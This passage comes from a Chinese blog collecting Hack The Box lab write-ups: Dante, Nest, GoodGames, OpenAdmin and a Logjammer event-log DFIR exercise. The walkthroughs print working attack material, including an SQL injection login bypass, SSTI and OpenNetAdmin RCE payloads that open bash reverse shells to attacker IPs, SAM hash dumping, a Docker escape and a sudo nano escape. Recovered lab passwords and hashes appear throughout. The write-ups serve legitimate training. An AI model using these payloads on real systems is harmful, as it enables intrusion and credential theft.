decode_strings(encrypted_base64: str, key): full_data = base64.b64decode(encrypted_base64.encode()) # print(full_data) iv = full_data[:AES.block_size] encrypted_message = full_data[AES.block_size :] print(AES.block_size) print(base64.b64encode(iv)) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_bytes = cipher.decrypt(encrypted_message) pad = decrypted_bytes[-1] decrypted_bytes = decrypted_bytes[:-pad] return decrypted_bytes.decode() encrypted_base64 = "[binary]" decrypted_text = decode_strings(encrypted_base64, aes_key) print(decrypted_text) 运行结果:[ { "ID": "1212103240066535494", "Email": "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9", "GlobalName": "phreaks_admin", "Token": "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk" }, { "ID": "1212103240066535494", "Email": "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9", "GlobalName": "phreaks_admin", "Token": "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk" } ]第二段flag YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9,base64解码
[button color="info" icon="" url="https://app.hackthebox.com/prolabs/overview/dante" type="round"]DANTE PROLABS Link[/button][scode type="yellow"]该靶机虽然是Beginner难度,但我也用了一周的时间来做以及消化其中的思路和方法[/scode][scode type="blue"]本篇文章不涉及任何Flag的透露。(但涉及一些环境的剧透)[/scode]简介Dante 是一个适合初学者的现代化 Pro Lab，提供学习常见渗透测试方法。Dante的机器有些老旧，过时，使用一些2021年之后的漏洞几乎可以通杀（Linux、Windows机器的PrivEsc），但毋庸置疑的是，Dante一个适合学习渗透思路和流程的优秀机器。在该Pro Labs中，可以学习到许多Web漏洞、Linux漏洞以及Windows漏洞，可以让我们熟练掌握现代化渗透测试工具的使用，如Metasploit框架，Cobalt Strike工具，多级代理工具的使用。在官方的介绍中，Dante是由14台机器组成（最后通关发现似乎只有13台，FW01未能到达），共计27个Flag。网络环境（Dante 是共享靶机，应该是每天重置一次，因此在打靶过程中要做好笔记，找好立足点，以便于靶机重置后能够快速开始接下来的渗透）完成Dante后，对Dante的网络环境做了一个简单的梳理，大概有 2 个子网网段(172.16.1.1/24和172.16.2.1/24),根据Dante的机器,做了一个简单的拓扑图多级网络, 因此需要进行尝试进行多层代理第一次打Dante使用ssh -D搭建socks5隧道,配合Proxychains进行渗透,但感觉太麻烦了,在全部打完后,了解到根据Ligolo-Ng,操作简单易上手,但对于Double Piovting,还是有些不太熟悉.通过Dante的网络环境,我也使用Cobalt Strike进行上线,结果如图:(cs似乎不支持linux 机器作为中转监听器,还没找到解决方法)建议与总结Dante 不难,主要在于信息收集,不要遗漏可能存在信息的地方.十几台机器之间也是有通用的地方,比如账号密码(凭据), 收集到的信息(凭据,端口等)要做好记录,可能存在漏洞的地方都要尝试一下,不用着急速通.这种存在多个网段/多台机器的环境,每拿到一个机器的权限,要记得尝试ping一下,查看是否存在其他存活机器.Dante的机器有些老了,可以先尝试使用一些危害比较大的漏洞(如ms17-010),之后可以尝试去找预期解法.Dante里还有几个二进制的题目(不会),但都可以非预期(bushi)
信息 系统Linux难度Easy状态退役IP/靶机地址https://app.hackthebox.com/machines/Nest$ nmap -p445,4386 -sC -sV 10.129.147.65 -oA nmapres/details PORT STATE SERVICE VERSION 445/tcp open microsoft-ds? 4386/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: | Reporting Service V1.2 | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: | Reporting Service V1.2 | Unrecognised command | Help: | Reporting Service V1.2 | This service allows users to run queries against databases using the legacy HQK format | AVAILABLE COMMANDS --- | LIST | SETDIR <Directory_Name> | RUNQUERY <Query_ID> | DEBUG <Password> |_ HELP <Command>初探4386端口$ nc 10.129.147.65 4386 HQK Reporting Service V1.2 >help ^C使用nc连接，挂起后没有反应使用telnet就可以了└─$ telnet 10.129.147.65 4386 Trying 10.129.147.65... Connected to 10.129.147.65. Escape character is '^]'. HQK Reporting Service V1.2 >help This service allows users to run queries against databases using the legacy HQK format --- AVAILABLE COMMANDS --- LIST SETDIR <Directory_Name> RUNQUERY <Query_ID> DEBUG <Password> HELP <Command>445端口$ smbclient -L \\10.129.147.65 $ crackmapexec smb 10.129.147.65 -u 'guest' -p '' --shares $ smbmap -u guest -p '' -H 10.129.147.65 [+] IP: 10.129.147.65:445 Name: 10.129.147.65 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC Secure$ NO ACCESS Users READ ONLY $ smbclient -N \\\\10.129.147.65\\Data smb: \Shared\> get "Templates\HR\Welcome Email.txt" - Username: TempUser Password: welcome2019 $ smbclient -N \\\\10.129.147.65\\Users smb: \> ls Administrator C.Smith L.Frost R.Thompson TempUser // 使用新获得的凭据登陆可以获得更多信息 $ smbclient -U 'TempUser%welcome2019' \\\\10.129.147.65\\Data smb: \> recurse smb: \> prompt smb: \> mget * // 使用新的凭据，有了更多可读的目录,增加了一个Secure$ $ smbmap -u TempUser -p welcome2019 -H 10.129.147.65 Secure$ READ ONLY 目录Users下的目录名应该是用户名，先存为文件user.txt在访问目录Secure$后没得到任何有效的信息，先看看在Data目录下载的文件吧$ find ./ -name "*.xml" -print0 2>/dev/null | xargs -0 more File: ./IT/Configs/NotepadPlusPlus/config.xml <File filename="C:\windows\System32\drivers\etc\hosts" /> <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" /> <File filename="C:\Users\C.Smith\Desktop\todo.txt" /> File: ./IT/Configs/RU Scanner/RU_config.xml <Username>c.smith</Username> <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>密码应该是某种加密（不要在tmux下进行base64解密，被误导了....）关注\\HTB-NEST\Secure$\IT\Carl\Temp.txt,这个地方提及了在Secure$\IT目录下，存在目录Carl$ smbclient -U 'TempUser%welcome2019' \\\\10.129.147.65\\Secure$ smb: \> ls IT\Carl\ . D 0 Thu Aug 8 03:42:14 2019 .. D 0 Thu Aug 8 03:42:14 2019 Docs D 0 Thu Aug 8 03:44:00 2019 Reports D 0 Tue Aug 6 21:45:40 2019 VB Projects D 0 Tue Aug 6 22:41:55 2019此时就可以访问了，同上，将其中的文件全部下载下来smb: \> cd IT\Carl\ smb: \> recurse;prompt;mget *是一个Visual Basic语言编写的项目，可以使用Visual Studio打开文件夹中的RUScanner.sln,运行项目报错原因是找不到文件RU_config.xml，这个文件在Data目录下下载的，移动到目录Debug下就可以了，成功编译得到DbPof.exe使用32位的dnsPy进行反编译在处理密码的地方进行断点调试步过得到密码"xRxRxPANCAK3SxRxRx"记录凭据c.smith:xRxRxPANCAK3SxRxRx现在应该可以访问用户目录\Users\C.Smith了$ smbclient -U 'c.smith%xRxRxPANCAK3SxRxRx' \\\\10.129.147.65\\Users // 同上，将用户C.smith目录下的文件全部下载下来 smb: \> cd C.Smith\ smb: \> recurse; prompt; mget * // 密码文件为空，查看文件的全部属性 smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt" altname: DEBUGM~1.TXT create_time: Fri Aug 9 07:06:12 AM 2019 CST access_time: Fri Aug 9 07:06:12 AM 2019 CST write_time: Fri Aug 9 07:08:17 AM 2019 CST change_time: Thu Jul 22 02:47:12 AM 2021 CST attributes: A (20) stream: [::$DATA], 0 bytes stream: [:Password:$DATA], 15 bytes // 有隐藏的文件流 smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$DATA"获得用户flag 和Debug Mode Password： WBQ201953D8w再探4386telnet 10.129.147.65 4386 > debug WBQ201953D8w > setdir .. > setdir ldap > list [1] HqkLdap.exe [2] Ldap.conf > showquery 2 Domain=nest.local Port=389 BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local User=Administrator Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=将上述内容存为 ldap.conf在C.smith的目录下，下载过一个exe文件，使用64为dnsPy进行反编译if (MyProject.Application.CommandLineArgs.Count != 1) { Console.WriteLine("Invalid number of command line arguments"); } else if (!File.Exists(MyProject.Application.CommandLineArgs[0])) { Console.WriteLine("Specified config file does not exist"); } else if (!File.Exists("HqkDbImport.exe")) { Console.WriteLine("Please ensure the optional database import module is installed"); } else{ LdapSearchSettings ldapSearchSettings = new LdapSearchSettings(); string[] array = File.ReadAllLines(MyProject.Application.CommandLineArgs[0]); foreach (string text in array) { if (text.StartsWith("Domain=", StringComparison.CurrentCultureIgnoreCase)) { ldapSearchSettings.Domain = text.Substring(text.IndexOf('=') + 1); } else if (text.StartsWith("User=", StringComparison.CurrentCultureIgnoreCase)) { ldapSearchSettings.Username = text.Substring(text.IndexOf('=') + 1); } else if (text.StartsWith("Password=", StringComparison.CurrentCultureIgnoreCase)) { ldapSearchSettings.Password = CR.DS(text.Substring(text.IndexOf('=') + 1)); } } }程序判断HqkDbImport.exe是否存在因此需要在程序的同级目录下，创建一个文件HqkDbImport.exe打断点，传参获得解密后的密码XtH4nkS4Pl4y1nGX,对应的用户名是administratorSystem Shell$ impacket-psexec administrator:XtH4nkS4Pl4y1nGX@10.129.147.65 C:\Windows\system32>在Administrator桌面上获得root的flaghashdumpreg save hklm\system system.bak reg save hklm\sam sam.bak尝试使用psexec的lget命令下载文件失败了，这里使用smbserver传输文件// 攻击机启动smbserver impacket-smbserver -smb2support -username st4rry -password password nest $(pwd) // 在windows机器下 > net use \\10.10.16.12\nest /user:st4rry password The command completed successfully. > copy system.bak \\10.10.16.12\nest 1 file(s) copied. > copy sam.bak \\10.10.16.12\nest 1 file(s) copied.最后在攻击机运行$ impacket-secretsdump -sam sam.bak -system system.bak local Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7e29652b785a5292c58d57d5a47bdeb::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: TempUser:1002:aad3b435b51404eeaad3b435b51404ee:5718656c63a09d3b6c7dffde0d7a3457::: C.Smith:1004:aad3b435b51404eeaad3b435b51404ee:79a10c3d3176976397b25fd7086d17e1::: Service_HQK:1005:aad3b435b51404eeaad3b435b51404ee:b0cf54ef7d731832f9b6df4f1b575aca:::总结难度为Easy的机器考察点一般都为信息收集，当信息收集到位了，也就可以达到想要的结果该机器中就存在很多小细节，比如：不能直接访问Secure$ 目录下的其他目录，但可以访问目录里的子目录（需要在配置文件中获取路径）隐藏的文件流 （第一次遇见）smbclient可以使用allinfo命令查看【 alternative data stream (ADS)】还有，使用dnsPy反编译，打断点调试获取解密后的数据关于为什么nc连接4386只是挂起，而telnet却可以交互参考0xdf Blogwireshare 抓包比较nc 和telnet的区别（一）nc$ nc 10.129.147.65 4386 HQK Reporting Service V1.2 >help ^C(二) telnet$ telnet 10.129.147.65 4386 Trying 10.129.147.65... >help可以看到telnet后是多了十六进制0d0a，其对应的字符也就是\r\n使用python socket也是可以实现的import socket ip = "10.129.147.65" port = 4386 addr = (ip, port) with socket.socket() as s: s.connect(addr) msg1 = s.recv(2048) print(msg1) msg2 = s.recv(1024) print(msg2) s.send(b"help\r\n\r\n") msg3 = s.recv(1024) print(msg3.decode())
HackTheBox GoodGames (Docker逃逸--主机非特权用户+容器root用户)
信息 系统Linux难度Easy状态退役IP10.129.96.71靶机地址https://app.hackthebox.com/machines/446$ nmap -sC -sV -p80 -O -oA nmapres/detail 80/tcp open http Apache httpd 2.4.48 http-title: GoodGames Community and Store http-server-header: Werkzeug/2.0.2 Python/3.9.2只开放了应该 80端口,python写的访问网站在网站页脚看到一个域名goodgames.htb,加到/etc/hosts中目录扫描和vhost扫描$ gobuster dir -k -u http://goodgames.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-length 9265 /blog (Status: 200) [Size: 44212] /login (Status: 200) [Size: 9294] /profile (Status: 200) [Size: 9267] /signup (Status: 200) [Size: 33387] /logout (Status: 302) [Size: 208] [--> http://goodgames.htb/]网站基本都是静态页面,唯一与服务端有交互的也就只有登陆框了尝试万能密码(前端有邮箱格式限制,使用Burpsuite抓包绕过)POST /login HTTP/1.1 Host: goodgames.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 30 Origin: http://goodgames.htb Connection: keep-alive Referer: http://goodgames.htb/ Upgrade-Insecure-Requests: 1 email=1'+or+1=1#&password=1111放包后成功登陆到管理员用户后台就一个更改用户密码的功能,还不能正常使用,设置跳转到域名http://internal-administration.goodgames.htb/,将该子域名添加到/etc/hosts中再次访问是Flask Volt的登陆界面,同样需要账号密码上面存在万能密码登陆的界面即存在sql注入SQLMap启动,将上面的POST请求存为req.txt$ sqlmap -r req.txt --batch --dbs available databases [2]: [*] information_schema [*] main $ sqlmap -r req.txt --batch -D main --tables +---------------+ | user | | blog | | blog_comments | +---------------+ $ sqlmap -r req.txt --batch -D main -T user --columns +----------+--------------+ | Column | Type | +----------+--------------+ | name | varchar(255) | | email | varchar(255) | | id | int | | password | varchar(255) | +----------+--------------+ $ sqlmap -r req.txt --batch -D main -T user -C +--------+---------------------+----+---------------------------------------------+ | name | email | id | password | +--------+---------------------+----+---------------------------------------------+ | admin | admin@goodgames.htb | 1 | 2b22337f218b2d82dfc3b6f77e7cb8ec | | st4rry | st4rry@123.com | 2 | 25d55ad283aa400af464c76d713c07ad (12345678) | +--------+---------------------+----+---------------------------------------------+ (st4rry是自己创建的用户)hash解密得到admin的密码superadministrator,凭据admin:superadministrator登陆到Flask Volt后台Foothold存在SSTI,且不存在过滤随便一些SSTI的Payload就可以{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}} // 反弹shell,将`bash -c "/bin/bash -i >& /dev/tcp/10.10.16.12/1234 0>&1"` 进行了url编码 {{self._TemplateReference__context.joiner.__init__.__globals__.os.popen('%62%61%73%68%20%2d%63%20%22%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%36%2e%31%32%2f%31%32%33%34%20%30%3e%26%31%22').read()}} // 攻击机监听 nc -lvnp 1234 // 然后加固shell python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl + Z stty raw -echo; fg在Docker内// 根目录下有.dockerenv // cat /proc/1/cgroup | grep docker // Ip地址不是靶机的IP地址 root@3a453ab39d3d:/backend# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255 ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet) RX packets 334114 bytes 79333364 (75.6 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 250193 bytes 246182340 (234.7 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0使用cdk,发现可疑的部分,主机的/home/augustus挂载到容器的/home/augustus,且可写 (或者执行mount也可以)$ ./cdk eva ... 8:1 /home/augustus /home/augustus rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro 8:1 /var/lib/docker/containers/3a453ab39d3df444e9b33e4c1d9f2071827b3b7b20a8d3357b7754a84b06685f/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro 8:1 /var/lib/docker/containers/3a453ab39d3df444e9b33e4c1d9f2071827b3b7b20a8d3357b7754a84b06685f/hostname /etc/hostname rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro 8:1 /var/lib/docker/containers/3a453ab39d3df444e9b33e4c1d9f2071827b3b7b20a8d3357b7754a84b06685f/hosts /etc/hosts rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro我们可以知道在主机中存在一个用户augustus,密码未知容器的IP地址为172.19.0.2,做一个存活ip和端口扫描root@3a453ab39d3d:~# ./fscan -h 172.19.0.2/24 --nobr ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.19.0.2 is alive (icmp) Target 172.19.0.1 is alive [*] Icmp alive hosts len is: 2 172.19.0.1:22 open 172.19.0.1:80 open 172.19.0.2:8085 open [*] alive ports len is: 3 start vulscan [*] WebTitle http://172.19.0.2:8085 code:302 len:218 title:Redirecting... 跳转url: http://172.19.0.2:8085/login [*] WebTitle http://172.19.0.1 code:200 len:85107 title:GoodGames | Community and Store [*] WebTitle http://172.19.0.2:8085/login code:200 len:13603 title:Flask Volt Dashboard - Sign IN | AppSeed或者使用解释命令: for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done 对172.19.0.1进行端口扫描bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null"：这个命令尝试通过TCP连接到172.19.0.1的指定端口。</dev/tcp/172.19.0.1/$PORT：这是一个bash特性，它尝试打开一个到指定IP和端口的TCP连接。&>/dev/null：将标准输出和标准错误输出都重定向到/dev/null，也就是说，丢弃所有输出。Docker 逃逸+提权存活的ip有172.19.0.1,一般而言,Docker容器子网的第一个ip地址为主机docker网卡的ip地址宿主机用户augustus,还有一个登陆网站的密码superadministrator,ssh连接尝试一下ssh augustus@172.19.0.1 输入密码: superadministrator 成功登陆到主机 // 主机内 $ cp /bin/bash . $ exit // 退回到 容器内 root$ chown root:root /home/augustus/bash root$ chmod 4777 /home/augustus/bash // 再次切换到主机中, bash拥有root的suid权限 // 提权 ./bash -p bash-5.0# whoami root可写入挂载Docker逃逸总结Python 网站最常见的漏洞SSTIDocker逃逸的一种方法
[scode type="share"]hw夜班值守偷偷打台简单的机器[/scode]信息 系统Linux难度Easy状态退役IP10.10.10.171靶机地址https://app.hackthebox.com/machines/222$ nmap -p22,80 -sC -sV -A -O 10.10.10.171 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA) | 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA) |_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works$ dirsearch -u http://10.10.10.171 $ gobuster dir -u http://10.10.10.171/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt /music -> http://10.10.10.171/music/ /ona -> http://10.10.10.171/ona/ /artwork (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]/music和/artwork都是静态页面/ona/ 是 OpenNetAdmin 18.1.1,存在历史RCE漏洞$ searchsploit ona 18.1.1 OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh漏洞利用脚本#!/bin/bash URL="${1}" while true;do echo -n "$ "; read cmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1 doneFoothold运行 bash 47691.sh http://10.10.10.171/ona/反弹shell，需将payload 进行url 编码bash%20%2Dc%20%27%2Fbin%2Fbash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E16%2E6%2F1234%200%3E%261%27加固python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl + Z stty raw -echo; fg横向移动/opt/ona/www$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash joanna:x:1001:1001:,,,:/home/joanna:/bin/bash存在用户root,jimmy,joanna$ netstat -tunpl Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* -3306 是mysql数据库，52846是一个web服务，需要代理出来访问查找数据库的密码$ find ./ -name '*database*' 2>/dev/null | grep -v images local/config/database_settings.inc.php 'db_type' => 'mysqli', 'db_host' => 'localhost', 'db_login' => 'ona_sys', 'db_passwd' => 'n1nj4W4rri0R!', 'db_database' => 'ona_default', 'db_debug' => false,数据库中有两对弱口令凭据guest:test和admin:admin，暂时没啥用密码复用： n1nj4W4rri0R! 是用户jimmy的密码切换为jimmy访问/var/www/internal,在index.php中有密码hash, 是sha-512if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') hash在线解密Revealedchisel隧道代理// 攻击机 chisel server -p 9090 --reverse // 靶机 ./chisel client 10.10.16.6:9090 R:socks配合proxychains使用代理，浏览器访问http://127.0.0.1:52846,输入凭据jimmy:Revealed登陆成功后获得一段私钥-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D [binary] -----END RSA PRIVATE KEY-----main.php的源码<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; # Open Admin Trusted # OpenAdmin $output = shell_exec('cat /home/joanna/.ssh/id_rsa'); echo " $output "; ?> Don't forget your "ninja" password Click here to logout Session 可以知道这是 用户joanna的私钥，使用私钥登陆依旧需要密码Enter passphrase for key 'joanna.rsa':使用john爆破密码$ ssh2john joanna.rsa >> joanna.hash $ john -w=/usr/share/wordlist/rockyou.txt joanna.hash joanna.rsa:bloodninjasssh登陆（需要使用上述的私钥）不支持密码登陆$ chmod 600 joanna.rsa $ ssh -i joanna.rsa joanna@10.10.10.171 Enter passphrase for key 'joanna.rsa': bloodninjas提取sudo -l起手Matching Defaults entries for joanna on openadmin: env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass User joanna may run the following commands on openadmin: (ALL) NOPASSWD: /bin/nano /opt/privnano-sudo 提权sudo /bin/nano /opt/priv ^R^X reset; sh 1>&0 2>&0
分类难度DFIREasy您有机会在一家大型咨询公司担任初级 DFIR 顾问。但是，他们提供了技术评估供您完成。咨询公司 Forela-Security 希望评估您的 Windows 事件日志分析知识。我们认为 Cyber​​junkie 用户登录了他的计算机并可能采取了恶意操作。请分析给定的事件日志并报告。TasksTask1: cyberjunkie第一次成功登录他的计算机是什么时候？ （UTC）Task2: 用户篡改了系统上的防火墙设置。分析防火墙事件日志以找出添加的防火墙规则的名称？Task3: 防火墙规则的方向是什么？Task4: 用户更改了计算机的审核策略。此更改政策的子类别是什么？Task5: 用户“cyberjunkie”创建了一个计划任务。这个任务的名字是什么？Task6: 为任务安排的文件的完整路径是什么？Task7: 该命令的参数是什么？Task8: 系统上运行的防病毒软件识别出威胁并对其执行操作。哪个工具被防病毒软件识别为恶意软件？Task9: 引发警报的恶意软件的完整路径是什么？Task10: 防病毒软件采取了什么行动？Task11: 用户使用Powershell执行命令。用户执行了什么命令？Task12: 我们怀疑用户删除了一些事件日志。哪个事件日志文件被清除？附件下载完成解压后得到5个evtx文件Powershell-Operational.evtx: 系统上 PowerShell 活动的记录，可以包括执行的命令、运行的脚本以及执行期间生成的任何错误或警告。Security.evtx: 与系统上的安全事件相关的记录，包括用户身份验证、权限更改、帐户管理和安全策略更改。System.evtx: 捕获系统级事件，例如启动和关闭进程、驱动程序和服务故障、硬件配置更改以及系统资源利用率。Windows Defender-Operational.evtx - 记录 Windows Defender 的活动和状态，包括恶意软件检测、扫描、更新以及 Windows Defender 管理的任何其他安全相关事件。Windows Firewall-Firewall - 记录与防火墙相关的事件，例如允许和阻止的网络连接、规则更改以及防火墙服务启动和关闭事件。工具推荐： EvtxECmd.exe,jq,grep 等。使用 EvtxECmd.exe将evtx格式转成json格式EventId事件4624成功登陆2004windows防火墙添加一条规则2005修改防火墙规则2006删除防火墙规则2010网络接口的配置文件发生修改2033所有防火墙规则都被删除2051和2033成对出现4719系统审计策略更改4698创建计划任务1000反恶意软件扫描已开始1001反恶意软件扫描已完成1002反恶意软件扫描在完成之前已停止1003反恶意软件扫描已暂停1004反恶意软件扫描已恢复分析过程文件格式转换，并另存为all.json.\EvtxECmd.exe -d E:\htb\Sherlocks\logjammer\Event-Logs\ --json .(或者将上述evtx文件逐个转化为json文件，但这样做就需要知道每个文件的作用)登陆成功相关4624成功登陆成功登陆的 EventId 为4624,因此只需要重点关注 EventId == 4624这个条件在此之前，我们先看一下json日志的组成└─$ cat Security.json | jq -s '.[0]' { "PayloadData1": "SID: (S-1-5-21-3393683511-3463148672-371912004-1001)", "UserName": "DESKTOP-887GK2L\\CyberJunkie", "MapDescription": "Event log cleared", "ChunkNumber": 0, "Computer": "DESKTOP-887GK2L", "Payload": "{\"UserData\":{\"LogFileCleared\":{\"SubjectUserSid\":\"S-1-5-21-3393683511-3463148672-371912004-1001\",\"SubjectUserName\":\"CyberJunkie\",\"SubjectDomainName\":\"DESKTOP-887GK2L\",\"SubjectLogonId\":\"0x25235\"}}}", "Channel": "Security", "Provider": "Microsoft-Windows-Eventlog", "EventId": 1102, "EventRecordId": "13020", "ProcessId": 1320, "ThreadId": 9512, "Level": "Info", "Keywords": "0x4020000000000000", "SourceFile": "E:\\htb\\Sherlocks\\logjammer\\Event-Logs\\Security.evtx", "ExtraDataOffset": 0, "HiddenRecord": false, "TimeCreated": "2023-03-27T14:36:45.3077318+00:00", "RecordNumber": 1 }EventId为事件ID，Payload为事件回显吧，TimeCreated为事件发送的时间过滤用户cyberjunkie登录成功的日志,使用select进行过滤出EventId==4624的事件，再配合test函数提取Payload字段中包含用户名cyberjunkie的日志，最后提取出对应的时间$ cat all.json | jq -c 'select(.EventId == 4624 and (.Payload | test("cyberjunkie";"i"))) | .TimeCreated' "2023-03-27T14:37:09.8798913+00:00" "2023-03-27T14:37:09.8799405+00:00" "2023-03-27T14:38:32.9374236+00:00" "2023-03-27T14:38:32.9374588+00:00"因此第一次登陆成功的时间为27/03/2023 14:37:09(Task 1)或者使用jq的if语句进行过滤,效果同上$ cat all.json | jq -c 'if .EventId == 4624 and (.Payload | test("cyberjunkie";"i")) then .TimeCreated else empty end' "2023-03-27T14:37:09.8798913+00:00" "2023-03-27T14:37:09.8799405+00:00" "2023-03-27T14:38:32.9374236+00:00" "2023-03-27T14:38:32.9374588+00:00"防火墙相关2004windows防火墙添加一条规则2005修改防火墙规则2006删除防火墙规则2010网络接口的配置文件发生修改2033所有防火墙规则都被删除2051和2033成对出现防火墙规则的添加、修改以及删除，应该在攻击者成功登陆后进行的，因此我们只需要过滤出登陆后添加的规则即可cat all.json | jq -c 'select(.EventId == 2004 and .TimeCreated > "2023-03-27T14:37:09.8798913+00:00")' | jq -c '[.PayloadData1,.PayloadData2,.PayloadData3,.PayloadData4,.PayloadData5]' [": Microsoft Edge","","Direction: Inbound","Action: Block","Protocol: All"] [": Microsoft Edge","","Direction: Outbound","Action: Block","Protocol: All"] [": Metasploit C2 Bypass","","Direction: Outbound","Action: Allow","Protocol: TCP"]添加的规则名称为Metasploit C2 Bypass(Task 2),改规则的方向为Outbound(Task 3)系统审计策略相关4719系统审计策略更改更改计算机系统审计策略的事件ID为4719cat all.json | jq -c 'select(.EventId == 4719 and .TimeCreated > "2023-03-27T14:37:09.8798913+00:00")' | jq -s "PayloadData1": "CategoryId: %%8274 SubcategoryId: %%12804", "PayloadData2": "SubcategoryGuid: 0cce9227-69ae-11d9-bed3-505054503030",查询guid即可获得该子类别为Other Object Access Events(Task 4)计划任务相关4698创建计划任务创建计划任务的事件ID是4698$ cat all.json | jq -c 'select(.EventId==4698) | .PayloadData1' "TaskName: \\HTB-AUTOMATION"计划任务名为HTB-AUTOMATION(Task 5)$ cat all.json | jq -r 'select(.EventId==4698) | .Payload | fromjson | .EventData.Data | map(select(.["@Name"]=="TaskContent")) | .[]."#text" | @text' | recode html..ascii | tr -d ',' | xmllint --format - --recover ... <Exec> <Command>C:\Users\CyberJunkie\Desktop\Automation-HTB.ps1</Command> <Arguments>-A cyberjunkie@hackthebox.eu</Arguments> </Exec> ...计划任务的文件路径为C:\Users\CyberJunkie\Desktop\Automation-HTB.ps1(Task 6),命令参数为-A 